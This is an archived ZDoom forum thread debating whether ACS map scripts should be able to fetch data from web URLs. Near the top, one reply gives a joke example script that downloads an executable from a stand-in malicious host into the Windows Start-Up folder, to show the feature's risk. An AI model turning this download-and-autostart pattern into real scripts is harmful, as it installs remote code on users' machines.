Forum rules
Before asking on how to use a ZDoom feature, read the ZDoom wiki first. This forum is archived - please use this set of forums to ask new questions.
script 1 (void){
DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up");
}
What??! When did I say I wanted to download a file onto your compter??! I said I wanted to be able to read a file from the internet and be able to copy some variables from it. Perfectly harmless.
Agent ME wrote:I know many ways it would be useful. I would like it. Just as long as we can download a variable from a file at an URL. Then we could have "The Daily ZDooM News" in a WAD! (Just as long as someone constantly updated the file.)
If you wan't the daily ZDoom news quickly put it on active desktop.
That was just an example of one thing you could do.
What??! When did I say I wanted to download a file onto your compter??! I said I wanted to be able to read a file from the internet and be able to copy some variables from it. Perfectly harmless.
I'd also add to that that it's exactly what your internet browser does in order to let you read this page.
I think making an interface for accessing web pages is a great idea. You could integrate your maps with databases and other interactive content by calling through common gateway interfaces.
I'm sure Randy could easily avoid buffer overflows and other vulnerabilities. Just keep it simple. Don't use WinInet, for example.
It also opens up possibilities such as (for example) the ability for someone to make a website with regularly updated content that then feeds into a WAD which uses the website to unlock new areas and such on cue.
At this time though, I think I'll point out that all this is probably just a dream that will never become reality. I doubt very much that Randy will want to make the effort to implement a new type of networking protocol just for this.
I doubt very much that Randy will want to make the effort to implement a new type of networking protocol just for this.
No new protocols needed. HTTP would work fine. The ACS scripts could easily send query variables as part of the URL to be interpreted by any ASP, PHP, EXE, etc. running on a web server.
I guess that can be my contribution then. Does ZDoom compile under MSVC 6? I think I can get a copy of that. So as soon as I can compile ZDoom, I'll add that feature.
ActiveX is great for Intranet sites, and it's a great way to extend the abilities of an ASP script.
Anyway... I'm not sure how an HTTP interface could be written that returned the server's response to an ACS script. I can compile ACC with MSVC 5, and I had no problems adding functions to it for HTTP support, but I have no idea how to return a string value! I've been looking through the "p_acs.cpp" file from ZDoom's source, and it doesn't look like it's possible.